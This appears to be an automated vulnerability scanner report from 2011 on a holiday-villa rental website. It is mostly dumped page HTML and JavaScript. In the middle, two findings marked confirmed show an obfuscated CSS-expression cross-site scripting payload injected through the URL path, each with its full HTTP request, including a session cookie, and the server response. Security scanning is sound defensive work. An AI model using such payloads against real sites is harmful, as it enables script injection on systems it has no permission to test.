Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lisbon villas" title=" in Lisbon"> Luxury Lisbon </h2></a></li>..

- /villas-search.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

/villas-search.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

http://theholidaygroup.com/villas-search.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter	Type	Value
id	GET	542
URI-BASED	Raw URI	/" stYle="x:expre/**/ssion(alert(9))

Request

GET /villas-search.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=7oca3ug5cjvuvhlaogl7kuerrjdabb7u
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:11:23 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 15331
Content-Type: text/html

<html><head><title>Search Luxury Holiday Villas, Villa Vacations, Luxury Villa Rentals</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><script type="text/javascript"> allResortsArray = new Array(); var thisrow = 1; ResortArray = new Array(300, "Abruzzo", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 2; ResortArray = new Array(612, "Akyaka", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 3; ResortArray = new Array(288, "Alanya", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 4; ResortArray = new Array(519, "Albarella Island", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 5; ResortArray = new Array(536, "Alentejo", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 6; ResortArray = new Array(74, "Algarve", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 7; ResortArray = new Array(563, "Almeria", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 8; ResortArray = new Array(65, "Alonissos", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 9; ResortArray = new Array(493, "Alsace/ Vosges", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 10; ResortArray = new Array(542, "Altinkum", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 11; ResortArray = new Array(227, "Amalfi Coast", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 12; ResortArray = new Array(21, "Andalucia", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 13; ResortArray = new Array(265, "Anguilla", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 14; ResortArray = new Array(608, "Antalya", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 15; ResortArray = new Array(266, "Antigua", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 16; ResortArray = new Array(487, "Antipaxos", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 17; ResortArray = new Array(81, "Aquitaine", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 18; ResortArray = new Array(494, "Ardeche", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 19; ResortArray = new Array(561, "Athenian Riviera ", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 20; ResortArray = new Array(295, "Athens Area", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 21; ResortArray = new Array(567, "Auvergne", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 22; ResortArray = new Array(170, "Bahamas", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 23; ResortArray = new Array(534, "Bahrain", 51); allResortsArray[thisrow] = ResortArray; var thisrow = 24; ResortArray = new Array(156, "Bali", 28); allResortsArray[thisrow] = ResortArray; var thisrow = 25; ResortArray = new Array(171, "Barbados", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 26; ResortArray = new Array(576, "Barcelona ", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 27; ResortArray = new Array(304, "Basilicata", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 28; ResortArray = new Array(500, "Basque and Pyrenees", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 29; ResortArray = new Array(560, "Bath", 53); allResortsArray[thisrow] = ResortArray; var thisrow = 30; ResortArray = new Array(263, "Biarritz and the Atlantic coast", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 31; ResortArray = new Array(47, "Bodrum", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 32; ResortArray = new Array(603, "Borneo", 50); allResortsArray[thisrow] = ResortArray; var thisrow = 33; ResortArray = new Array(505, "Brazil", 35); allResortsArray[thisrow] = ResortArray; var thisrow = 34; ResortArray = new Array(278, "British Virgin Islands", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 35; ResortArray = new Array(84, "Brittany", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 36; ResortArray = new Array(495, "Burgandy/Avergne region", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 37; ResortArray = new Array(642, "California", 11); allResortsArray[thisrow] = ResortArray; var thisrow = 38; ResortArray = new Array(579, "Camps Bay", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 39; ResortArray = new Array(626, "Cape Town", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 40; ResortArray = new Array(551, "Capri", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 41; ResortArray = new Array(503, "Catalonia", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 42; ResortArray = new Array(625, "Chiang Mai ", 29); allResortsArray[thisrow] = ResortArray; var thisrow = 43; ResortArray = new Array(504, "Cilento Coast", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 44; ResortArray = new Array(592, "Corfu (East)", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 45; ResortArray = new Array(591, "Corfu (North)", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 46; ResortArray = new Array(593, "Corfu (West)", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 47; ResortArray = new Array(554, "Cornwall", 53); allResortsArray[thisrow] = ResortArray; var thisrow = 48; ResortArray = new Array(585, "Corsica (North)", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 49; ResortArray = new Array(586, "Corsica (South)", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 50; ResortArray = new Array(16, "Costa Blanca", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 51; ResortArray = new Array(117, "Costa Brava", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 52; ResortArray = new Array(577, "Costa Calida", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 53; ResortArray = new Array(116, "Costa Del Azahar", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 54; ResortArray = new Array(73, "Costa Del Sol", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 55; ResortArray = new Array(520, "Costa Verde", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 56; ResortArray = new Array(105, "Cote d`Azur /Cannes", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 57; ResortArray = new Array(71, "Crete", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 58; ResortArray = new Array(290, "Croatia", 45); allResortsArray[thisrow] = ResortArray; var thisrow = 59; ResortArray = new Array(20, "Cyprus", 3); allResortsArray[thisrow] = ResortArray; var thisrow = 60; ResortArray = new Array(538, "Dalyan", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 61; ResortArray = new Array(614, "Datca", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 62; ResortArray = new Array(555, "Devon", 53); allResortsArray[thisrow] = ResortArray; var thisrow = 63; ResortArray = new Array(173, "Dominican Republic", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 64; ResortArray = new Array(12, "Dordogne", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 65; ResortArray = new Array(287, "Dubai", 44); allResortsArray[thisrow] = ResortArray; var thisrow = 66; ResortArray = new Array(632, "Eastern Cape", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 67; ResortArray = new Array(564, "Elba", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 68; ResortArray = new Array(640, "Essaouira", 39); allResortsArray[thisrow] = ResortArray; var thisrow = 69; ResortArray = new Array(641, "Fez", 39); allResortsArray[thisrow] = ResortArray; var thisrow = 70; ResortArray = new Array(3, "Florida", 11); allResortsArray[thisrow] = ResortArray; var thisrow = 71; ResortArray = new Array(605, "French Alps", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 72; ResortArray = new Array(92, "Fuerteventura", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 73; ResortArray = new Array(514, "Galicia", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 74; ResortArray = new Array(566, "Gascony", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 75; ResortArray = new Array(635, "Gauteng", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 76; ResortArray = new Array(5, "Gozo", 10); allResortsArray[thisrow] = ResortArray; var thisrow = 77; ResortArray = new Array(75, "Gran Canaria", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 78; ResortArray = new Array(174, "Grenada", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 79; ResortArray = new Array(610, "Gressoney", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 80; ResortArray = new Array(619, "Hawaii", 11); allResortsArray[thisrow] = ResortArray; var thisrow = 81; ResortArray = new Array(556, "Herefordshire", 53); allResortsArray[thisrow] = ResortArray; var thisrow = 82; ResortArray = new Array(559, "Hydra", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 83; ResortArray = new Array(620, "Ibiza North", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 84; ResortArray = new Array(621, "Ibiza South", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 85; ResortArray = new Array(516, "Ile de Re ", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 86; ResortArray = new Array(611, "Ireland", 58); allResortsArray[thisrow] = ResortArray; var thisrow = 87; ResortArray = new Array(122, "Ithaca", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 88; ResortArray = new Array(175, "Jamaica", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 89; ResortArray = new Array(52, "Kalkan and Kas", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 90; ResortArray = new Array(238, "Kea", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 91; ResortArray = new Array(511, "Kefalonia", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 92; ResortArray = new Array(149, "Kenya", 23); allResortsArray[thisrow] = ResortArray; var thisrow = 93; ResortArray = new Array(533, "Koh Phangan", 29); allResortsArray[thisrow] = ResortArray; var thisrow = 94; ResortArray = new Array(157, "Koh Samui", 29); allResortsArray[thisrow] = ResortArray; var thisrow = 95; ResortArray = new Array(598, "Koh Tao", 29); allResortsArray[thisrow] = ResortArray; var thisrow = 96; ResortArray = new Array(633, "Kwazulu Natal", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 97; ResortArray = new Array(548, "Lagos", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 98; ResortArray = new Array(510, "Lake Como", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 99; ResortArray = new Array(303, "Lake Garda", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 100; ResortArray = new Array(297, "Lake Maggiore", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 101; ResortArray = new Array(547, "Lake Orta ", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 102; ResortArray = new Array(129, "Languedoc", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 103; ResortArray = new Array(14, "Lanzarote", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 104; ResortArray = new Array(240, "Lazio", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 105; ResortArray = new Array(298, "Le Marche", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 106; ResortArray = new Array(121, "Lefkas", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 107; ResortArray = new Array(562, "Lesvos", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 108; ResortArray = new Array(196, "Liguria", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 109; ResortArray = new Array(634, "Limpopo", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 110; ResortArray = new Array(55, "Lisbon", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 111; ResortArray = new Array(86, "Loire Valley", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 112; ResortArray = new Array(571, "London", 53); allResortsArray[thisrow] = ResortArray; var thisrow = 113; ResortArray = new Array(11, "Lot and Tarn", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 114; ResortArray = new Array(630, "Lot/Midi Pyrenees", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 115; ResortArray = new Array(599, "Madara", 38); allResortsArray[thisrow] = ResortArray; var thisrow = 116; ResortArray = new Array(111, "Madeira", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 117; ResortArray = new Array(138, "Mahe", 22); allResortsArray[thisrow] = ResortArray; var thisrow = 118; ResortArray = new Array(581, "Majorca North", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 119; ResortArray = new Array(582, "Majorca South", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 120; ResortArray = new Array(580, "Majorca West", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 121; ResortArray = new Array(4, "Malta", 10); allResortsArray[thisrow] = ResortArray; var thisrow = 122; ResortArray = new Array(114, "Marbella", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 123; ResortArray = new Array(541, "Marmaris and Area", 18); allResortsArray[thisrow] = ResortArray; var thisrow = 124; ResortArray = new Array(636, "Marrakech", 39); allResortsArray[thisrow] = ResortArray; var thisrow = 125; ResortArray = new Array(617, "Mauritius East", 20); allResortsArray[thisrow] = ResortArray; var thisrow = 126; ResortArray = new Array(615, "Mauritius North", 20); allResortsArray[thisrow] = ResortArray; var thisrow = 127; ResortArray = new Array(616, "Mauritius South", 20); allResortsArray[thisrow] = ResortArray; var thisrow = 128; ResortArray = new Array(618, "Mauritius West", 20); allResortsArray[thisrow] = ResortArray; var thisrow = 129; ResortArray = new Array(308, "Meganissi", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 130; ResortArray = new Array(53, "Menorca", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 131; ResortArray = new Array(574, "Monchique ", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 132; ResortArray = new Array(569, "Mount Baker", 11); allResortsArray[thisrow] = ResortArray; var thisrow = 133; ResortArray = new Array(629, "Mpumalanga", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 134; ResortArray = new Array(550, "Murcia", 13); allResortsArray[thisrow] = ResortArray; var thisrow = 135; ResortArray = new Array(264, "Mustique", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 136; ResortArray = new Array(145, "Mykonos", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 137; ResortArray = new Array(601, "Nassfeld", 43); allResortsArray[thisrow] = ResortArray; var thisrow = 138; ResortArray = new Array(301, "Neapolitan Riviera", 6); allResortsArray[thisrow] = ResortArray; var thisrow = 139; ResortArray = new Array(314, "Nevis", 12); allResortsArray[thisrow] = ResortArray; var thisrow = 140; ResortArray = new Array(159, "New South Wales", 30); allResortsArray[thisrow] = ResortArray; var thisrow = 141; ResortArray = new Array(307, "New Zealand", 32); allResortsArray[thisrow] = ResortArray; var thisrow = 142; ResortArray = new Array(557, "Norfolk and Suffolk", 53); allResortsArray[thisrow] = ResortArray; var thisrow = 143; ResortArray = new Array(299, "Normandy", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 144; ResortArray = new Array(627, "North West", 21); allResortsArray[thisrow] = ResortArray; var thisrow = 145; ResortArray = new Array(578, "Northeast Thailand", 29); allResortsArray[thisrow] = ResortArray; var thisrow = 146; ResortArray = new Array(110, "Northern Portugal", 1); allResortsArray[thisrow] = ResortArray; var thisrow = 147; ResortArray = new Array(572, "Northumberland", 53); allResortsArray[thisrow] = ResortArray; var thisrow = 148; ResortArray = new Array(639, "Oualidia", 39); allResortsArray[thisrow] = ResortArray; var thisrow = 149; ResortArray = new Array(638, "Ouarzazate", 39); allResortsArray[thisrow] = ResortArray; var thisrow = 150; ResortArray = new Array(575, "Paris", 5); allResortsArray[thisrow] = ResortArray; var thisrow = 151; ResortArray = new Array(526, "Paros", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 152; ResortArray = new Array(583, "Paxos (East)", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 153; ResortArray = new Array(584, "Paxos (West)", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 154; ResortArray = new Array(532, "Pelion Peninsula", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 155; ResortArray = new Array(197, "Peloponnese", 16); allResortsArray[thisrow] = ResortArray; var thisrow = 156; ResortArray = new Array(568, "Phang-Nga", 29); allResortsArray[thisrow] = ResortArray; var thisrow = 157; ResortArray = new Array(506, "Phuket", 29); allResortsArray[thisrow] = ResortArray; var thisrow = 158; ResortArray = new Array(609, "Picardy", 5); allRes..

- /luxury-villas.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

/luxury-villas.php/%22%20stYle=%22x:expre/**/ssion(alert(9)) CONFIRMED

http://theholidaygroup.com/luxury-villas.php/%22%20stYle=%22x:expre/**/ssion(alert(9))

Parameters

Parameter	Type	Value
URI-BASED	Raw URI	/" stYle="x:expre/**/ssion(alert(9))

Request

GET /luxury-villas.php/%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=7oca3ug5cjvuvhlaogl7kuerrjdabb7u
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:11:38 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 10475
Content-Type: text/html

<html><head> <title>Luxury Villas | Exclusive Villas | Luxury Villa Holidays</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><link rel="stylesheet" href="villas.css" type="text/css"><style>h1{ font-family: arial,verdana; color: #000000; font-size: 13px; margin-bottom: 0px; font-weight: normal;}h2{ font-family: Arial, Helvetica, sans-serif; font-size: 18px; color: #000000; margin-bottom: 0px; font-weight: normal;}h3{ font-family: cursive, Arial, Helvetica, sans-serif; font-size: 30px; color: #000000; margin-bottom: 0px; font-weight: normal;}</style></head><body bgcolor="#FFFFFF" leftmargin="0" topmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#CC3333;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#CC3333; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #CC3333; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#CC3333; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#CC3333; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#FFFFFF" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#000000" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#000000; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#CC3333"> <ul class="menu" id="nav" style="width:780px; background-color:#CC3333;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a 